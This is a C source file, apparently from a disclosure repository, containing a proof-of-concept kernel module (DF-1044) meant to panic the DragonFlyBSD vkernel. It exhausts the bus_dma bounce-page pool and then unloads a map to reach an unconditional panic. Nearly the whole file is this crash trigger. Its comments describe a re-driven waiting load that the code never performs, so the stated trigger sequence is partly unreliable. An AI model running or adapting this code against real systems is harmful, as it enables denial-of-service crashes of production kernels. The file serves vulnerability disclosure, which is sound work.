DF-1044 / busdma_bounce_waiter.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-1044 PoC skeleton: vkernel busdma bounce-waiter panic. * * This is a loadable kld module skeleton for the DragonFlyBSD vkernel. It * creates a bounce-capable bus_dma tag and drives bus_dmamap_load() across * many maps until the bounce pool is exhausted, forcing the WAITOK load * path onto the waiting list; the subsequent bus_dmamap_unload of a * completed map triggers add_map_callback() -> unconditional panic at * busdma_machdep.c:1215 ("add_map_callback uncoded"). * * Build: see README.md in this directory * Load: kldload ./busdma_bounce_waiter.ko * * This file is a template. Adapter glue for the exact vkernel kld ABI * (DECLARE_MODULE, bus_dma helpers, callout/thread wakeup) is standard * DragonFlyBSD practice; the security-relevant sequence is the * tag/map/load/unload pattern below. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/mbuf.h> #include <sys/malloc.h> #include <machine/bus.h> #include <sys/bus_dma.h> #define NMAPS 1100 /* > MAX_BPAGES (1024) */ #define BUFSIZE (64 * PAGE_SIZE) static bus_dma_tag_t bbw_tag; static bus_dmamap_t bbw_maps[NMAPS]; static char *bbw_bufs[NMAPS]; static struct mtx bbw_lock = MTX_INITIALIZER; static void bbw_cb(void *arg, bus_dma_segment_t *segs, int nseg, int error) { /* no-op callback; the load just needs to succeed enough times to * exhaust the bounce pool. */ } static void bbw_drive(void *arg __unused) { int i; for (i = 0; i < NMAPS; i++) { bbw_bufs[i] = kmalloc(BUFSIZE, M_DEVBUF, M_WAITOK | M_ZERO); bus_dmamap_create(bbw_tag, 0, &bbw_maps[i]); } /* First 1024-ish loads succeed and reserve all bounce pages. */ for (i = 0; i < 1024; i++) { bus_dmamap_load(bbw_tag, bbw_maps[i], bbw_bufs[i], BUFSIZE, bbw_cb, NULL, /*flags*/ 0); } /* Unload one to free pages, then trigger the panic by re-driving * a load that puts a waiter on the queue, then unloading again. */ bus_dmamap_unload(bbw_tag, bbw_maps[0]); /* The unload above calls free_bounce_page -> get_map_waiting -> * add_map_callback -> panic("add_map_callback uncoded"). */ } static int bbw_load(module_t mod, int what, void *arg __unused) { int err = 0; switch (what) { case MOD_LOAD: err = bus_dma_tag_create( /*parent*/ NULL, /*alignment*/ 1, /*boundary*/ 0, /*lowaddr*/ 0, /* forces BOUNCE */ /*highaddr*/ BUS_SPACE_MAXADDR, /*filter*/ NULL, /*filterarg*/ NULL, /*maxsize*/ BUFSIZE, /*nsegments*/ 1, /*maxsegsz*/ BUFSIZE, /*flags*/ 0, /*lockfunc*/ busdma_lock_mutex, /*lockarg*/ &bbw_lock, &bbw_tag); if (err != 0) { kprintf("DF-1044: bus_dma_tag_create failed %d\n", err); return err; } kprintf("DF-1044: tag created, driving loads...\n"); bbw_drive(NULL); /* If we get here, the panic didn't fire (default vkernel * config has no bus_dma drivers; this kld is the trigger). */ break; case MOD_UNLOAD: /* Tear-down omitted in skeleton. */ break; default: break; } return 0; } static moduledata_t bbw_mod = { "busdma_bounce_waiter", bbw_load, NULL }; DECLARE_MODULE(busdma_bounce_waiter, bbw_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(busdma_bounce_waiter, 1); |